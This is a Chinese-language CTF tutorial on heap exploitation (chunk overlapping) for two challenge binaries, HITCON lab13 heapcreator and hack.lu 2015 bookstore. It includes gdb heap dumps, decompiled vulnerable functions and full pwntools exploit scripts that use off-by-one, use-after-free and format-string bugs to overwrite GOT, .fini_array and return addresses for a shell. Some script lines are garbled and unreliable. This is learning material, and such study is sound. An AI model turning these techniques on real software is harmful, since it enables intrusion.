pwn堆入门系列教程3
1. pwn堆入门系列教程3 序言:这次终于过了off-by-one来到了Chunk Extend / Overlapping,这部分在上一节也进行了学习,所以难度相对来说不会是那么大,刚起初我以为,因为第一题很简单,但做到第二题,我发觉我连格式化字符串的漏洞都不会利用,真的是太菜了,后面看了看雪大佬的文章才会做
1.1. HITCON Trainging lab13 这道题还是相对简单的,对于前面几道来说,上一道已经用过这种方法了,而且比这复杂许多,所以差不多了,不过还有些小细节注意下就好
1.1.1. 功能分析 引用于ctf-wiki
[*]创建堆,根据用户输入的长度,申请对应内存空间,并利用 read 读取指定长度内容。这里长度没有进行检测,当长度为负数时,会出现任意长度堆溢出的漏洞。当然,前提是可以进行 malloc。此外,这里读取之后并没有设置 NULL。
[*]编辑堆,根据指定的索引以及之前存储的堆的大小读取指定内容,但是这里读入的长度会比之前大 1,所以会存在 off by one 的漏洞。
[*]展示堆,输出指定索引堆的大小以及内容。
[*]删除堆,删除指定堆,并且将对应指针设置为了 NULL。
1.1.2. 漏洞点分析 漏洞点存在off-by-one,通过off-by-one进行overlapping就成了
1.1.3. 漏洞利用过程gdb-peda$ x/50gx 0x1775030-0x30
0x1775000:0x00000000000000000x0000000000000021 #结构体1
0x1775010:0x00000000000000180x0000000001775030
0x1775020:0x00000000000000000x0000000000000021 #数据块1 chunk
0x1775030:0x0000000a313131310x0000000000000000
0x1775040:0x00000000000000000x0000000000000021 #结构体1
0x1775050:0x00000000000000100x0000000001775070
0x1775060:0x00000000000000000x0000000000000021 #数据块2 chunk
0x1775070:0x0000000a323232320x0000000000000000
0x1775080:0x00000000000000000x0000000000020f81
0x1775090:0x00000000000000000x0000000000000000
0x17750a0:0x00000000000000000x0000000000000000
0x17750b0:0x00000000000000000x0000000000000000
0x17750c0:0x00000000000000000x0000000000000000
0x17750d0:0x00000000000000000x0000000000000000
0x17750e0:0x00000000000000000x0000000000000000
0x17750f0:0x00000000000000000x0000000000000000
0x1775100:0x00000000000000000x0000000000000000
0x1775110:0x00000000000000000x0000000000000000
0x1775120:0x00000000000000000x0000000000000000
0x1775130:0x00000000000000000x0000000000000000
0x1775140:0x00000000000000000x0000000000000000
0x1775150:0x00000000000000000x0000000000000000
0x1775160:0x00000000000000000x0000000000000000
0x1775170:0x00000000000000000x0000000000000000
0x1775180:0x00000000000000000x0000000000000000
攻击过程:
[*]创建两个堆块初始化(实际创了4个堆块,两个结构体堆块,两个数据堆块)至于一个为什么要0x18,因为要利用他会使用下个chunk的pre_size作为数据部分,这样才能off-by-one溢出到size
[*]编辑第0块堆块,利用off-by-one覆盖第二块堆块的size,修改size为0x41gdb-peda$ x/50gx 0x8a5030-0x30
0x8a5000: 0x00000000000000000x0000000000000021
0x8a5010: 0x00000000000000180x00000000008a5030
0x8a5020: 0x00000000000000000x0000000000000021
0x8a5030: 0x0068732f6e69622f0x6161616161616161 #/bin/sh为后面做准备
0x8a5040: 0x61616161616161610x0000000000000041 # off-by-one
0x8a5050: 0x00000000000000100x00000000008a5070
0x8a5060: 0x00000000000000000x0000000000000021
0x8a5070: 0x0000000a323232320x0000000000000000
0x8a5080: 0x00000000000000000x0000000000020f81
0x8a5090: 0x00000000000000000x0000000000000000
0x8a50a0: 0x00000000000000000x0000000000000000
0x8a50b0: 0x00000000000000000x0000000000000000
0x8a50c0: 0x00000000000000000x0000000000000000
0x8a50d0: 0x00000000000000000x0000000000000000
0x8a50e0: 0x00000000000000000x0000000000000000
0x8a50f0: 0x00000000000000000x0000000000000000
0x8a5100: 0x00000000000000000x0000000000000000
0x8a5110: 0x00000000000000000x0000000000000000
0x8a5120: 0x00000000000000000x0000000000000000
0x8a5130: 0x00000000000000000x0000000000000000
0x8a5140: 0x00000000000000000x0000000000000000
0x8a5150: 0x00000000000000000x0000000000000000
0x8a5160: 0x00000000000000000x0000000000000000
0x8a5170: 0x00000000000000000x0000000000000000
0x8a5180: 0x00000000000000000x0000000000000000
[*]free掉第1块,这时候free了一个0x40大小的堆块和一个0x20大小的堆块gdb-peda$ x/50gx 0xf89030-0x30
0xf89000: 0x00000000000000000x0000000000000021
0xf89010: 0x00000000000000180x0000000000f89030
0xf89020: 0x00000000000000000x0000000000000021
0xf89030: 0x0068732f6e69622f0x6161616161616161
0xf89040: 0x61616161616161610x0000000000000041 #free 0x40大小
0xf89050: 0x00000000000000000x0000000000f89070
0xf89060: 0x00000000000000000x0000000000000021 #free 0x21大小
0xf89070: 0x00000000000000000x0000000000000000
0xf89080: 0x00000000000000000x0000000000020f81
0xf89090: 0x00000000000000000x0000000000000000
0xf890a0: 0x00000000000000000x0000000000000000
0xf890b0: 0x00000000000000000x0000000000000000
0xf890c0: 0x00000000000000000x0000000000000000
0xf890d0: 0x00000000000000000x0000000000000000
0xf890e0: 0x00000000000000000x0000000000000000
0xf890f0: 0x00000000000000000x0000000000000000
0xf89100: 0x00000000000000000x0000000000000000
0xf89110: 0x00000000000000000x0000000000000000
0xf89120: 0x00000000000000000x0000000000000000
0xf89130: 0x00000000000000000x0000000000000000
0xf89140: 0x00000000000000000x0000000000000000
0xf89150: 0x00000000000000000x0000000000000000
0xf89160: 0x00000000000000000x0000000000000000
0xf89170: 0x00000000000000000x0000000000000000
0xf89180: 0x00000000000000000x0000000000000000
[*]这时候create(0x30)的话,会先创建结构体的堆块,这时候fastbin链上有刚free掉的堆块,所以优先使用,创建了0x20大小堆块,然后在创建一个0x40的chunk,这时候可以覆盖掉他的结构体部分的内容指针,泄露地址,在写入就成了
1.1.4. exp#!/usr/bin/env python2
# -*- coding: utf-8 -*-
from PwnContext.core import *
local = True
# Set up pwntools for the correct architecture
exe = './' + 'heapcreator'
elf = context.binary = ELF(exe)
#don't forget to change it
host = '127.0.0.1'
port = 10000
#don't forget to change it
#ctx.binary = './' + 'heapcreator'
ctx.binary = exe
libc = args.LIBC or 'libc.so.6'
ctx.debug_remote_libc = True
ctx.remote_libc = ELF('libc.so.6')
if local:
context.log_level = 'debug'
try:
r = ctx.start()
except Exception as e:
print(e.args)
print("It can't work,may be it can't load the remote libc!")
print("It will load the local process")
io = process(exe)
else:
io = remote(host,port)
#===========================================================
# EXPLOIT GOES HERE
#===========================================================
# Arch: amd64-64-little
# RELRO: Partial RELRO
# Stack: Canary found
# NX: NX enabled
# PIE: No PIE (0x400000)
heap = elf
libc = ELF('./libc.so.6')
def create(size, content):
r.recvuntil(":")
r.sendline("1")
r.recvuntil(":")
r.sendline(str(size))
r.recvuntil(":")
r.sendline(content)
def edit(idx, content):
r.recvuntil(":")
r.sendline("2")
r.recvuntil(":")
r.sendline(str(idx))
r.recvuntil(":")
r.sendline(content)
def show(idx):
r.recvuntil(":")
r.sendline("3")
r.recvuntil(":")
r.sendline(str(idx))
def delete(idx):
r.recvuntil(":")
r.sendline("4")
r.recvuntil(":")
r.sendline(str(idx))
def exp():
free_got = 0x602018
create(0x18, "1111")# 0
create(0x10, "2222")# 1
# overwrite heap 1's struct's size to 0x41
edit(0, "/bin/sh\x00" + "a" * 0x10 + "\x41")
# trigger heap 1's struct to fastbin 0x40
# heap 1's content to fastbin 0x20
delete(1)
# new heap 1's struct will point to old heap 1's content, size 0x20
# new heap 1's content will point to old heap 1's struct, size 0x30
# that is to say we can overwrite new heap 1's struct
# here we overwrite its heap content pointer to free@got
create(0x30, p64(0) * 4 + p64(0x30) + p64(heap.got['free']))#1
#create(0x30, p64(0x1234567890))#1
gdb.attach(r)
# leak freeaddr
show(1)
r.recvuntil("Content : ")
data = r.recvuntil("Done !")
free_addr = u64(data.split("\n").ljust(8, "\x00"))
libc_base = free_addr - libc.symbols['free']
log.success('libc base addr: ' + hex(libc_base))
system_addr = libc_base + libc.symbols['system']
#gdb.attach(r)
# overwrite free@got with system addr
edit(1, p64(system_addr))
# trigger system("/bin/sh")
delete(0)
if __name__ == '__main__':
exp()
r.interactive()
1.2. 2015 hacklu bookstore1.2.1. 功能分析 先进行功能分析
[*]有编辑功能,编辑已存在的1,2堆块,可溢出
[*]删除功能,删除已存在的1,2堆块,uaf
[*]合并功能,将1,2两个堆块合并,格式化字符串
1.2.2. 漏洞点分析
[*]漏洞点1(任意写,\n才结束)
unsigned __int64 __fastcall edit_order(char *a1)
{
int idx; // eax
int v3; //
int cnt; //
unsigned __int64 v5; //
v5 = __readfsqword(0x28u);
v3 = 0;
cnt = 0;
while ( v3 != '\n' )//关键点
{
v3 = fgetc(stdin);
idx = cnt++;
a1 = v3;
}
a1 = 0;
return __readfsqword(0x28u) ^ v5;
}
[*]漏洞点2(uaf)
free后指针没置空
unsigned __int64 __fastcall delete_order(void *a1)
{
unsigned __int64 v2; //
v2 = __readfsqword(0x28u);
free(a1); //重点
return __readfsqword(0x28u) ^ v2;
}
[*]格式化字符串
signed __int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
int v4; //
char *v5; //
char *first_order; //
char *second_order; //
char *dest; //
char s; //
unsigned __int64 v10; //
v10 = __readfsqword(0x28u);
first_order = (char *)malloc(0x80uLL);
second_order = (char *)malloc(0x80uLL);
dest = (char *)malloc(0x80uLL);
if ( !first_order || !second_order || !dest )
{
fwrite("Something failed!\n", 1uLL, 0x12uLL, stderr);
return 1LL;
}
v4 = 0;
puts(
" _____ _ _ _ _ _ \n"
"/__ \\______| |_| |__ ___ ___ | | _____| |_ ____ __ ___/ \\\n"
"/ /\\/ _ \\ \\/ / __| '_ \\ / _ \\ / _ \\| |/ / / __| __/ _ \\| '__/ _ \\//\n"
" / / |__/><| |_| |_) | (_) | (_) | <\\__ \\ || (_) | | |__/\\_/ \n"
" \\/ \\___/_/\\_\\\\__|_.__/ \\___/ \\___/|_|\\_\\ |___/\\__\\___/|_|\\___\\/ \n"
"Crappiest and most expensive books for your college education!\n"
"\n"
"We can order books for you in case they're not in stock.\n"
"Max. two orders allowed!\n");
LABEL_14:
while ( !v4 )
{
puts("1: Edit order 1");
puts("2: Edit order 2");
puts("3: Delete order 1");
puts("4: Delete order 2");
puts("5: Submit");
fgets(&s, 0x80, stdin);
switch ( s )
{
case '1':
puts("Enter first order:");
edit_order(first_order);
strcpy(dest, "Your order is submitted!\n");
goto LABEL_14;
case '2':
puts("Enter second order:");
edit_order(second_order);
strcpy(dest, "Your order is submitted!\n");
goto LABEL_14;
case '3':
delete_order(first_order);
goto LABEL_14;
case '4':
delete_order(second_order);
goto LABEL_14;
case '5':
v5 = (char *)malloc(0x140uLL);
if ( !v5 )
{
fwrite("Something failed!\n", 1uLL, 0x12uLL, stderr);
return 1LL;
}
submit(v5, first_order, second_order);
v4 = 1;
break;
default:
goto LABEL_14;
}
}
printf("%s", v5);
printf(dest);//格式化字符串
return 0LL;
}
1.2.3. 漏洞利用过程 这题有三个明显的洞,比原来那些只有一个洞的看起来似乎简单些?实际相反,这道题利用起来难度比前面的还大,因为这个洞不好利用,我自己研究了好久也无果,然后找writeup
看了看雪大佬的文章才知道这题怎么利用的
开始我在想如何利用格式化字符串的洞,因为格式化字符串的洞在合并过后才会使用,而我没想到什么便捷方法能修改第三块堆块的内容,他只能被覆盖为默认的Your order is submitted!\n,后来才知道用overlaping后可以覆盖到第三块堆块的内容,不过还是得精心布置堆才可以利用到
[*]开头程序malloc(0x80)申请了三个堆块,我们将第二块free掉
gdb-peda$ x/100gx 0x1b8d010-0x010
0x1b8d000:0x00000000000000000x0000000000000091 #堆块1
0x1b8d010:0x00000000747365740x0000000000000000
0x1b8d020:0x00000000000000000x0000000000000000
0x1b8d030:0x00000000000000000x0000000000000000
0x1b8d040:0x00000000000000000x0000000000000000
0x1b8d050:0x00000000000000000x0000000000000000
0x1b8d060:0x00000000000000000x0000000000000000
0x1b8d070:0x00000000000000000x0000000000000000
0x1b8d080:0x00000000000000000x0000000000000000
0x1b8d090:0x00000000000000000x0000000000000091 #堆块2,溢出修改处
0x1b8d0a0:0x00000000000000000x0000000000000000 #数据部分
0x1b8d0b0:0x00000000000000000x0000000000000000
0x1b8d0c0:0x00000000000000000x0000000000000000
0x1b8d0d0:0x00000000000000000x0000000000000000
0x1b8d0e0:0x00000000000000000x0000000000000000
0x1b8d0f0:0x00000000000000000x0000000000000000
0x1b8d100:0x00000000000000000x0000000000000000
0x1b8d110:0x00000000000000000x0000000000000000
0x1b8d120:0x00000000000000000x0000000000000091 #堆块3
0x1b8d130:0x64726f2072756f590x7573207369207265
0x1b8d140:0x2164657474696d620x000000000000000a
0x1b8d150:0x00000000000000000x0000000000000000
0x1b8d160:0x00000000000000000x0000000000000000
0x1b8d170:0x00000000000000000x0000000000000000
0x1b8d180:0x00000000000000000x0000000000000000
0x1b8d190:0x00000000000000000x0000000000000000
0x1b8d1a0:0x00000000000000000x0000000000000000
0x1b8d1b0:0x00000000000000000x0000000000000411
0x1b8d1c0:0x696d627553203a350x20726564726f0a74
0x1b8d1d0:0x216465776f0a0a320x6163206e6920750a
0x1b8d1e0:0x27796568742065730x6920746f6e206572
0x1b8d1f0:0x2e6b636f7473206e0x5f0a216e6f69740a
0x1b8d200:0x0a2020202f5c5f5f0x0000000000000000
0x1b8d210:0x00000000000000000x0000000000000000
0x1b8d220:0x00000000000000000x0000000000000000
0x1b8d230:0x00000000000000000x0000000000000000
0x1b8d240:0x00000000000000000x0000000000000000
0x1b8d250:0x00000000000000000x0000000000000000
0x1b8d260:0x00000000000000000x0000000000000000
0x1b8d270:0x00000000000000000x0000000000000000
0x1b8d280:0x00000000000000000x0000000000000000
0x1b8d290:0x00000000000000000x0000000000000000
0x1b8d2a0:0x00000000000000000x0000000000000000
0x1b8d2b0:0x00000000000000000x0000000000000000
0x1b8d2c0:0x00000000000000000x0000000000000000
0x1b8d2d0:0x00000000000000000x0000000000000000
0x1b8d2e0:0x00000000000000000x0000000000000000
0x1b8d2f0:0x00000000000000000x0000000000000000
0x1b8d300:0x00000000000000000x0000000000000000
0x1b8d310:0x00000000000000000x0000000000000000
[*] 编辑第一块堆块内容,溢出到第二块的size,修改第二块的size为0x150,为什么是0x150?(因为你看程序在合并的时候有个malloc(0x140),这样合并的时候申请的堆块就会跑到这上面来,也就是说我们第二块堆块跟第三块堆块这时候会重合
gdb-peda$ x/50gx 0x1695028-0x28
0x1695000:0x00000000000000000x0000000000000091
0x1695010:0x31256337313632250x313325516e682433
0x1695020:0x70243832255070240x6161616161616161
0x1695030:0x61616161616161610x6161616161616161
0x1695040:0x61616161616161610x6161616161616161
0x1695050:0x61616161616161610x6161616161616161
0x1695060:0x61616161616161610x6161616161616161
0x1695070:0x61616161616161610x6161616161616161
0x1695080:0x00000000616161610x0000000000000000
0x1695090:0x00000000000000000x0000000000000151
0x16950a0:0x00007f0e99412b000x00007f0e99412b78
0x16950b0:0x00000000000000000x0000000000000000
0x16950c0:0x00000000000000000x0000000000000000
0x16950d0:0x00000000000000000x0000000000000000
0x16950e0:0x00000000000000000x0000000000000000
0x16950f0:0x00000000000000000x0000000000000000
0x1695100:0x00000000000000000x0000000000000000
0x1695110:0x00000000000000000x0000000000000000
0x1695120:0x00000000000000900x0000000000000090
0x1695130:0x64726f2072756f590x7573207369207265
0x1695140:0x2164657474696d620x000000000000000a
0x1695150:0x00000000000000000x0000000000000000
0x1695160:0x00000000000000000x0000000000000000
0x1695170:0x00000000000000000x0000000000000000
0x1695180:0x00000000000000000x0000000000000000
[*] 然后submit的时候具体会变成什么样呢?,会先复制Order 1: ,然后在复制chunk1里的内容,在复制chunk2里的内容,注意注意chunk2的内容现在是什么,是前面的Order 1: 在加上chunk1的内容,因为堆块2的指针还指向chunk2的数据部分,所以会复制两次
[*]就是Order 1: +chunk1+'\n'+Order 2: +Order 1: +chun1+'\n'
[*]如果我们要利用格式化字符串的洞的话,要精确复制到堆块3的size部分后就停止,到这部分大小是0x90
[*]也就是说我们Order 1: +chunk1+'\n'+Order 2: +Order 1: 这个的大小要为0x90,求出chunk大小,0x90-9*3-1=0x88-0x1c=0x74
[*]所以我们可以在前面0x74里写格式化字符串的利用,后面就利用得上了
这是合并后的结果
gdb-peda$ x/56gx 0x6e6028-0x28
0x6e6000: 0x00000000000000000x0000000000000091
0x6e6010: 0x31256337313632250x313325516e682433
0x6e6020: 0x70243832255070240x6161616161616161
0x6e6030: 0x61616161616161610x6161616161616161
0x6e6040: 0x61616161616161610x6161616161616161
0x6e6050: 0x61616161616161610x6161616161616161
0x6e6060: 0x61616161616161610x6161616161616161
0x6e6070: 0x61616161616161610x6161616161616161
0x6e6080: 0x00000000616161610x0000000000000000
0x6e6090: 0x00000000000000000x0000000000000151
0x6e60a0: 0x3a3120726564724f0x2563373136322520
0x6e60b0: 0x3325516e682433310x2438322550702431
0x6e60c0: 0x61616161616161700x6161616161616161
0x6e60d0: 0x61616161616161610x6161616161616161
0x6e60e0: 0x61616161616161610x6161616161616161
0x6e60f0: 0x61616161616161610x6161616161616161
0x6e6100: 0x61616161616161610x6161616161616161
0x6e6110: 0x61616161616161610x724f0a6161616161
0x6e6120: 0x4f203a32207265640x203a312072656472
0x6e6130: 0x31256337313632250x313325516e682433
0x6e6140: 0x70243832255070240x6161616161616161
0x6e6150: 0x61616161616161610x6161616161616161
0x6e6160: 0x61616161616161610x6161616161616161
0x6e6170: 0x61616161616161610x6161616161616161
0x6e6180: 0x61616161616161610x6161616161616161
0x6e6190: 0x61616161616161610x6161616161616161
0x6e61a0: 0x64724f0a616161610x000a203a32207265
0x6e61b0: 0x00000000000000000x0000000000000411
[*]既然是堆题我就不再讲格式化字符串利用了,后面先利用格式化字符串修改.fini的地址,这样能多返回一次到main函数,同时泄露libc函数地址,为什么修改.fini里的地址能多返回一次main函数呢,请看
linux_x86程序启动中文版
linux_x86程序启动英文版
这两篇文章一样的,不过一个中文版,一个英文版,建议英文好的同学读原版,因为.fini在exit前会进行调用,所以修改后能执行多一次main函数
[*]这时候发觉泄露出libc后不知道修改哪个函数了,因为调用printf后再也没函数用了,这时候思路又断了
[*]所以这时候想想别的办法,发觉栈上存了一个与存main函数返回地址的指针存在一定偏移的地址,所以泄露出来后,在减掉那个固定偏移就可以修改main函数返回地址了
注意:这里格式化字符串内容存在堆里,指针存在栈上,所以我们fgets输入的才是对应上的偏移
1.2.4. exp#!/usr/bin/env python2
# -*- coding: utf-8 -*-
from PwnContext.core import *
local = True
# Set up pwntools for the correct architecture
exe = './' + 'books'
elf = context.binary = ELF(exe)
#don't forget to change it
host = '127.0.0.1'
port = 10000
#don't forget to change it
#ctx.binary = './' + 'books'
ctx.binary = exe
libc = args.LIBC or 'libc.so.6'
ctx.debug_remote_libc = True
ctx.remote_libc = libc
if local:
context.log_level = 'debug'
p = ctx.start()
libc = ELF(libc)
else:
p = remote(host,port)
#===========================================================
# EXPLOIT GOES HERE
#===========================================================
# Arch: amd64-64-little
# RELRO: No RELRO
# Stack: Canary found
# NX: NX enabled
# PIE: No PIE (0x400000)
def edit(idx, content) :
p.sendline(str(idx))
p.recvregex(r'''Enter (.*?) order:\n''')
p.sendline(content)
def delete(idx) :
p.sendline(str(idx+2))
def submit(content) :
p.sendline('5'+ '\x00'*7 + content)
def exp():
fini_array = 0x6011B8
main_addr = 0x400A39
delete(2)
#first step
#leak
fmstr = "%{}c%{}$hnQ%{}$pP%{}$p".format(0xA39, 13, 31, 28)
payload = fmstr.ljust(0x74, 'a')
payload = payload.ljust(0x88, '\x00')
payload += p64(0x151)
edit(1, payload)
#offset=13
gdb.attach(p)
submit(p64(fini_array))
for _ in range(3):
p.recvuntil('Q')
__libc_start_main_addr = int(p.recv(14), 16)
libc_base = __libc_start_main_addr - libc.symbols['__libc_start_main']-240
ret_addr = int(p.recv(15), 16)-0x1e8
one_gadget_offset = 0x45216
#one_gadget_offset = 0x4526a
#one_gadget_offset = 0xf02a4
#one_gadget_offset = 0xf1147
one_gadget = libc_base + one_gadget_offset
p.success("libc_base-> 0x%x" % libc_base)
p.success("ret_addr-> 0x%x" % ret_addr)
p.success("one_gadget-> 0x%x" % one_gadget)
#second step
delete(2)
part1 = ((one_gadget>>16)& 0xffff)
part2 = (one_gadget & 0xffff)
part =[
(part1, p64(ret_addr+2)),
(part2, p64(ret_addr))
]
part.sort(key=lambda tup: tup)
size = for i in part]
addr =''.join(x for x in part)
print(size)
print(addr)
fmstr = "%{}c%{}$hn".format(size, 13)
fmstr += "%{}c%{}$hn".format(size-size, 14)
payload = fmstr.ljust(0x74, 'a')
payload = payload.ljust(0x88, '\x00')
payload += p64(0x151)
edit(1, payload)
#offset=13
submit(addr)
#gdb.attach(p)
if __name__ == '__main__':
exp()
p.interactive()
1.3. 总结
[*]这道题堆部分难点部分想到了就不难,没想到就难,就是要利用那个部分溢出到第三个堆块
[*]其余部分就全是格式化字符串的利用了,没什么好讲的
[*]这道题拿到shell也偏废时间,最主要直接看exp我看不懂,后面去看文章才看懂的
1.4. 参考链接 看雪大佬的文章
页:
[1]